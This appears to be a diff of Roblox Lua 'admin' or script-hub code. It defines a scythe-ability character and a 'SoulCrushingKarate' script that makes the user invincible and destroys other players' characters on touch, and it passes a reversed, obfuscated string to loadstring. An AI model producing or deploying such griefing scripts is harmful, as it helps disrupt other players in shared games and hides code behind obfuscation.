- Instance.new("ForceField", LocalPlayer.Character)
- local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
- Fire.Color = BrickColor.new("Really black").Color
- for i = 0,100 do
- game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
- Fire.Size = i
- wait(0.1)
- end
- game:GetService("Chat"):Chat(head,"[ Scythe's Shattered Judgement of Hell! ]",2)
- Fire:remove()
- LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
- local a = Instance.new("Explosion", LocalPlayer.Character)
- a.Position = LocalPlayer.Character.Torso.Position
- a.BlastPressure = 1e100
- a.BlastRadius = 100
- Explosion = false
- humanoid.WalkSpeed = 100
- end
- t.Activated:connect(__onActivated)
- t.Deactivated:connect(__onDeactivated)
- t.Equipped:connect(__onEquipped)
- t.Unequipped:connect(__onUnequipped)
- coroutine.wrap(function()
- while wait() do
- if Activated == true then
- if Mode == 'Shoot' then
- __Shoot()
- elseif Mode == 'FireBall' then
- __FireBall()
- elseif Mode == 'Spikes' then
- __Spikes()
- elseif Mode == 'Lightning' then
- __Lightning()
- elseif Mode == 'Explosion' then
- __Explosion()
- elseif Mode == 'Destiny' then
- __Destiny()
- elseif Mode == 'Tornado' then
- __Tornado()
- elseif Mode == 'Armor' then
- __Armor()
- elseif Mode == 'Wall' then
- __Wall()
- end
- end
- if Regening == true then
- game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
- Energy = Energy + 5000
- Instance.new("ForceField", LocalPlayer.Character)
- wait(1)
- end
- end
- end)()
- mouse.KeyDown:connect(function(key)
- if key == 'e' then
- game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
- humanoid.WalkSpeed = 75
- Regening = true
- end
- if key == 'q' then
- if Mode == 'Shoot' then
- Mode = 'FireBall'
- elseif Mode == 'FireBall' then
- Mode = 'Spikes'
- elseif Mode == 'Spikes' then
- Mode = 'Lightning'
- elseif Mode == 'Lightning' then
- Mode = 'Explosion'
- elseif Mode == 'Explosion' then
- Mode = 'Destiny'
- elseif Mode == 'Destiny' then
- Mode = 'Tornado'
- elseif Mode == 'Tornado' then
- Mode = 'Wall'
- elseif Mode == 'Wall' then
- Mode = 'Armor'
- else
- Mode = 'Shoot'
- end
- end
- end)
- mouse.KeyUp:connect(function(key)
- if key == 'e' then
- game:GetService("Chat"):Chat(head,"[ Lets see how you do now. ]",1)
- humanoid.WalkSpeed = 100
- Regening = false
- if LocalPlayer.Character:FindFirstChild("ForceField") then
- LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
- end
- end
- end)
- count = 0
- countspeed = 0.70
- coroutine.wrap(function()
- while wait() do
- if Energy > 10000 then Energy = 10000 end
- if Energy < 0 then Energy = 0 end
- TEXTLABEL.Text = "Power: "..tostring(Energy)
- TEXTLABEL2.Text = "Current Health: "..tostring(math.floor(humanoid.Health))
- if Mode == 'Shoot' then
- TEXTLABEL3.Text = 'Strength: Dark Wyvern (50 Power)'
- elseif Mode == 'FireBall' then
- TEXTLABEL3.Text = 'Strength: Dark-Black Fire (150 Power)'
- elseif Mode == 'Spikes' then
- TEXTLABEL3.Text = 'Strength: Scythes of Hell (100 Power)'
- elseif Mode == 'Lightning' then
- TEXTLABEL3.Text = 'Strength: Scythes Judgement (250 Power)'
- elseif Mode == 'Explosion' then
- TEXTLABEL3.Text = 'Strength: Scythes Shattted Judgement of Hell (1000 Power)'
- elseif Mode == 'Destiny' then
- TEXTLABEL3.Text = 'Strength: Scythes Shadow (200 Power)'
- elseif Mode == 'Tornado' then
- TEXTLABEL3.Text = 'Strength: Black Wind (150 Power)'
- elseif Mode == 'Armor' then
- TEXTLABEL3.Text = 'Strength: Armor of Constealing Light (1000 Power)'
- elseif Mode == 'Wall' then
- TEXTLABEL3.Text = 'Strength: Wall of Stealing Souls (200 Power)'
- end
- count = (count % 100) + countspeed
- angle = math.pi * math.sin(math.pi*2/100*count)
- if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then
- countspeed = 8
- if Equipped == false then
- rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
- else
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
- end
- lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
- rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
- llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
- neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0)
- rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0)
- wait()
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand
- if shooting then
- countspeed = 8
- rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25))
- rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg
- llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg
- lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm
- elseif Regening == true then
- if Energy == 10000 then Regening = false end
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
- elseif FireBall == true then
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
- elseif Spikes == true then
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
- elseif Lightning == true then
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
- elseif Explosion == true then
- coroutine.wrap(function()
- for i = 0,360 do
- rj.C0 = rootc0 * CFrame.Angles(0,0,0)
- wait()
- end
- end)()
- llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
- rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
- lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
- rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
- neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
- else
- countspeed = 0.70-- this judges how fast idle animation goes
- rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg
- llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg
- lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm
- if Equipped == false then
- rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm
- else
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
- end
- neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head
- rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso
- end
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk
- countspeed = 8-- this judges how fast the walk animation goes
- rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0)
- llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0)
- neck.C0 = neckc0 * CFrame.Angles(0, 0, 0)
- lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0)
- if Equipped == false then
- rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0)
- else
- rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
- end
- rj.C0 = rootc0 * CFrame.Angles(0, 0, 0)
- end
- end
- end)()
- humanoid.Died:connect(function()
- for cframe_parts = 0, 50 do
- local p = Instance.new("Part")
- p.FormFactor = "Custom"
- p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
- p.Size = Vector3.new(1, 1, 1)
- Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
- p.Locked = true
- p.CanCollide = false
- p.Anchored = true
- p.CFrame = torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
- p.Parent = workspace
- local box = Instance.new("SelectionBox", p)
- box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
- box.Adornee = p
- box.Transparency = 0.5
- box.Visible = true
- game:service'Debris':AddItem(p, 5)
- coroutine.wrap(function()
- while wait() do
- if p ~= nil then
- p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
- p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
- p.Transparency = p.Transparency + 0.015
- else
- break
- end
- end
- end)()
- end
- for _,v in pairs(char:children()) do
- if v:IsA("Part") then
- v:Destroy()
- end
- end
- end)
- ]]
- loadstring(([[ }"esu rof tnem toN" = cseD ,)1,1,0(wen.3roloC = roloC ,"]REGGUBED[" = emaN{ = ]8[tsiLsknaR
- })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]):reverse())()
- SoulCrushingKarate = [[
- a,b = pcall(function()
- Plrs = game:GetService("Players")
- me = Plrs.LocalPlayer
- char = me.Character
- Modelname = "SoulKarate"
- local Head = char.Head
- local Torso = char.Torso
- local LeftArm = char["Left Arm"]
- local RightArm = char["Right Arm"]
- local LeftLeg = char["Left Leg"]
- local RightLeg = char["Right Leg"]
- local RightHip = Torso["Right Hip"]
- local LeftHip = Torso["Left Hip"]
- dmgs = {Pdmg = {50, 100, "Punch"}, Kdmg = {100, 150, "Kick"}, K2dmg = {200, 300, "Doublekick"}, Rdmg = {230, 300, "RoundHouse"},
- Kardmg = {30, 50, "Karate"}}
- dmg = dmgs.Pdmg
- Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
- necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- able = true
- block = false
- breakblock = 19
- holdkey = false
- effectOn = false
- Instance.new("ForceField", char)
- Add = {
- Sphere = function(P)
- local m = Instance.new("SpecialMesh",P)
- m.MeshType = "Sphere"
- return m
- end,
- BF = function(P)
- local bf = Instance.new("BodyForce",P)
- bf.force = Vector3.new(0, P:GetMass()*187, 0)
- return bf
- end,
- BP = function(P)
- local bp = Instance.new("BodyPosition",P)
- bp.maxForce = Vector3.new(math.huge, 0, math.huge)
- bp.P = 14000
- return bp
- end,
- BG = function(P)
- local bg = Instance.new("BodyGyro",P)
- bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- bg.P = 14000
- return bg
- end
- }
- char.Humanoid.MaxHealth = math.huge
- char.Humanoid.WalkSpeed = 50
- Head.Transparency = 0.5
- Head.Reflectance = 0.5
- Torso.Transparency = 0.5
- Torso.Reflectance = 0.5
- RightLeg.Transparency = 0.5
- RightLeg.Reflectance = 0.5
- LeftArm.Transparency = 0.5
- LeftArm.Reflectance = 0.5
- RightArm.Transparency = 0.5
- RightArm.Reflectance = 0.5
- LeftLeg.Transparency = 0.5
- LeftLeg.Reflectance = 0.5
- Head.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Don't play soccer with me.",0)
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Cya",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"UGH!MY BONES!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- Torso.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Hugging me? I'm like a ghost.",0)
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"That was too easy.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"OW!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- RightArm.Touched:connect(function(hit)
- game:GetService("Chat"):Chat(Head,"My skills are superior.",0)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Fly now...",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- LeftArm.Touched:connect(function(hit)
- game:GetService("Chat"):Chat(Head,"Check your skills.",0)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"You must be mistaken.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- LeftLeg.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Nice,Continuing the kicking game.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v.Transparency = 0.5
- end end end
- end)
- RightLeg.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Nice try.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v.Transparency = 0.5
- end end end
- end)
- function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
- local p = Instance.new("Part")
- p.formFactor = "Custom"
- p.Anchored = Anchor
- p.CanCollide = Collide
- p.Transparency = Tran
- p.Reflectance = Ref
- p.BrickColor = BrickColor.new(Color)
- local pie = Instance.new("PointLight", p)
- pie.Range = 10
- pie.Shadows = true
- pie.Brightness = 50
- for _, Surf in pairs(Surfaces) do
- p[Surf] = "Smooth"
- end
- p.Size = Vector3.new(X, Y, Z)
- if Break then
- p:BreakJoints()
- else p:MakeJoints() end
- p.Parent = Parent
- return p
- end
- function Weld(p0, p1, x, y, z, a, b, c)
- local w = Instance.new("Weld")
- w.Parent = p0
- w.Part0 = p0
- w.Part1 = p1
- w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c)
- return w
- end
- function ComputePos(pos1, pos2)
- local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
- return CFrame.new(pos1, pos3)
- end
- function getHumanoid(c)
- local h = nil
- for i,v in pairs(c:children()) do
- if v:IsA("Humanoid") and c ~= char then
- if v.Health > 0 then
- h = v
- end
- end
- end
- return h
- end
- function getHead(c, pos, m)
- local h = nil
- local n = nil
- t = c:findFirstChild("Torso")
- if t ~= nil then
- n = t:findFirstChild("Neck")
- end
- for i,v in pairs(c:children()) do
- if v.Name == "Head" then
- if (v.Position - pos).magnitude < m then
- h = v
- end
- end
- end
- return h, n
- end
- for i,v in pairs(char:children()) do
- if v.Name == Modelname then
- v:remove()
- end
- end
- torso = char.Torso
- neck = torso.Neck
- hum = char.Humanoid
- Rarm = char["Right Arm"]
- Larm = char["Left Arm"]
- Rleg = char["Right Leg"]
- Lleg = char["Left Leg"]
- LastHP = hum.Health
- function HpChange(newhp)
- if block and hum.Health > 0.1 then
- local dif = LastHP - newhp
- if dif > 0 then
- local h = LastHP - ((LastHP-newhp)/3)
- hum.Health = h
- wait()
- hum.Health = h
- end
- if dif > breakblock then
- block = false
- local a = Add.BP(torso)
- a.position = torso.Position
- local b = Add.BG(torso)
- b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p)
- wait(0.6)
- a:remove()
- b:remove()
- able = true
- end
- end
- LastHP = hum.Health
- end
- hum.HealthChanged:connect(HpChange)
- hc = Instance.new("Humanoid")
- hc.Health = 0
- hc.MaxHealth = 0
- slash = Instance.new("Sound")
- slash.SoundId = "rbxasset://sounds//swordslash.wav"
- slash.Volume = 0.8
- slash.Pitch = 1.4
- slash.Parent = Rarm
- hitsound = Instance.new("Sound")
- hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263"
- hitsound.Volume = 0.55
- hitsound.Pitch = 2.1
- hitsound.Parent = torso
- Mo = Instance.new("Model")
- Mo.Name = Modelname
- RABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
- LABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
- RLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
- LLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
- RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
- LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
- RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
- LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
- RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
- LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
- RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
- LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
- TBricks = {}
- for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
- local p = Part(Mo, false, false, 1, 0, "Black", 0.9, 0.9, 0.8, true)
- Weld(v, p, 0, 0.7, 0, 0, 0, 0)
- table.insert(TBricks, {p, hurt = false, able = true})
- end
- function startEff(part)
- effectOn = true
- local lastPoint = part.Position
- coroutine.resume(coroutine.create(function()
- while effectOn do
- wait()
- local mag = (lastPoint - part.Position).magnitude
- local p = Part(Mo, true, false, 0.5, 0.05, "Really black", 0.1, 0.1, mag+0.2, true)
- p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2)
- Instance.new("BlockMesh",p)
- lastPoint = part.Position
- coroutine.resume(coroutine.create(function()
- for x=0.2,1,0.2 do
- wait()
- p.Transparency = x
- end
- p:remove()
- end))
- end
- end))
- end
- function endEff()
- effectOn = false
- end
- function ShowDMG(p, d)
- local mo = Instance.new("Model")
- mo.Name = d
- local pa = Part(mo, false, true, 0.5, 0, "Really red", 0.8, 0.2, 0.8, true)
- pa.CFrame = CFrame.new(p.Position)
- pa.Name = "Head"
- local hah = hc:clone()
- hah.Parent = mo
- local bp = Add.BP(pa)
- bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- bp.position = p.Position + Vector3.new(0, 2.5, 0)
- Add.BG(pa)
- coroutine.resume(coroutine.create(function()
- wait(0.2)
- mo.Parent = workspace
- wait(1.5)
- mo:remove()
- end))
- end
- for i, v in pairs(TBricks) do
- v[1].Touched:connect(function(hit)
- local fig = hit.Parent
- H, T = getHumanoid(fig), fig:findFirstChild("Torso")
- if H ~= nil and T ~= nil and v.hurt and v.able then
- hitsound:play()
- v.able = false
- local d = math.random(dmg[1], dmg[2])
- local hed, ne = getHead(fig, v[1].Position, 2.5)
- if dmg[3] == "RoundHouse" and hed ~= nil then
- d = math.random(dmg[1]*2.4, dmg[2]*2.4)
- coroutine.resume(coroutine.create(function()
- if ne ~= nil then
- for i=0,60,20 do
- ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
- wait()
- end
- for i=60,0,-20 do
- ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
- wait()
- end
- ne.C0 = necko
- end
- end))
- end
- H.Health = H.Health - d
- local xd = CFrame.new(v[1].Position, hit.Position)
- hit.Velocity = xd.lookVector * (d*2.3)
- ShowDMG(v[1], d)
- wait(0.34)
- v.able = true
- end
- end)
- end
- Mo.Parent = char
- RAWBattle = nil
- LAWBattle = nil
- function nilparts()
- LAW.Part1 = nil
- RAW.Part1 = nil
- RLW.Part1 = nil
- LLW.Part1 = nil
- LAW.C0 = CFrame.new(0, 0, 0)
- RLW.C0 = CFrame.new(0, 0, 0)
- LLW.C0 = CFrame.new(0, 0, 0)
- RAW.C0 = CFrame.new(0, 0, 0)
- end
- function attach()
- LAW.Part1 = Larm
- RLW.Part1 = Rleg
- LLW.Part1 = Lleg
- RAW.Part1 = Rarm
- LAW.C0 = CFrame.new(0, 0, 0)
- RLW.C0 = CFrame.new(0, 0, 0)
- LLW.C0 = CFrame.new(0, 0, 0)
- RAW.C0 = CFrame.new(0, 0, 0)
- end
- attacks = {
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- attach()
- bp.position = CF * CFrame.new(0, 0, -1.5).p
- startEff(TBricks[3][1])
- TBricks[3].hurt = true
- slash:play()
- dmg = dmgs.Kdmg
- for i = 0, 100, 100/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
- LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
- CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.1)
- TBricks[3].hurt = false
- for i = 100, 0, -100/5 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0)
- LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
- LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
- CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end,
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- attach()
- bp.position = CF * CFrame.new(0, 0, -1.5).p
- TBricks[2].hurt = true
- startEff(TBricks[2][1])
- slash:play()
- dmg = dmgs.Pdmg
- for i = 0, -90, -90/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
- RAW.C0 = CFrame.Angles(0, 0, 0)
- LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
- CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.07)
- TBricks[2].hurt = false
- endEff()
- startEff(TBricks[1][1])
- TBricks[1].hurt = true
- bp.position = CF * CFrame.new(0, 0, -3).p
- slash:play()
- for i = -90, 0, 90/7 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90)))
- RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
- LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
- CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.07)
- TBricks[1].hurt = false
- for i = 0, -90, -90/5 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90)))
- RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23))
- CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end,
- function(mouse)
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- attach()
- bp.position = CF * CFrame.new(0, 0, -1.5).p
- TBricks[4].hurt = true
- startEff(TBricks[4][1])
- slash:play()
- dmg = dmgs.K2dmg
- for i = 0, -100, -100/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
- RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
- LLW.C0 = CFrame.Angles(0, 0, math.rad(i))
- RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7))
- LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
- CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.1)
- bp.position = CF * CFrame.new(0, 0, -3).p
- TBricks[4].hurt = false
- endEff()
- startEff(TBricks[3][1])
- TBricks[3].hurt = true
- local Cobalt11641, hipow12 = RLW.C0, LLW.C0
- slash:play()
- for i = -100, -290, -190/5 do
- RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4)))
- LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100))
- CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0)
- bg.cframe = CF2
- wait()
- end
- wait(0.1)
- bp.position = CF * CFrame.new(0, 0, -4.5).p
- TBricks[3].hurt = false
- Cobalt11641, hipow12 = RLW.C0, LLW.C0
- for i = 0, -70, -70/3 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100))
- RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4))
- LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0)
- RAW.C0 = CFrame.Angles(0, 0, 0)
- LAW.C0 = CFrame.Angles(0, 0, 0)
- CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0)
- bg.cframe = CF2
- wait()
- end
- endEff()
- wait()
- nilparts()
- bg:remove()
- bp:remove()
- neck.C0 = necko
- end,
- function(mouse)
- if mouse ~= nil then
- local Orig = torso.CFrame
- local MousePos = mouse.Hit.p
- local bg = Add.BG(torso)
- local bp = Add.BP(torso)
- bp.position = Orig.p
- local CF = ComputePos(Orig.p, MousePos)
- local CF2 = CF
- bg.cframe = CF2
- startEff(TBricks[3][1])
- attach()
- bp.position = CF * CFrame.new(0, 0, -1).p
- dmg = dmgs.Rdmg
- for i = 0, 180, 180/7 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2))
- RLW.C0 = CFrame.Angles(0, 0, 0)
- LLW.C0 = CFrame.Angles(0, 0, 0)
- RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
- LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
- CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0)
- bg.cframe = CF2
- wait()
- end
- slash:play()
- TBricks[3].hurt = true
- for i = 180, 180+90, 90/4 do
- neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90))
- RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0)
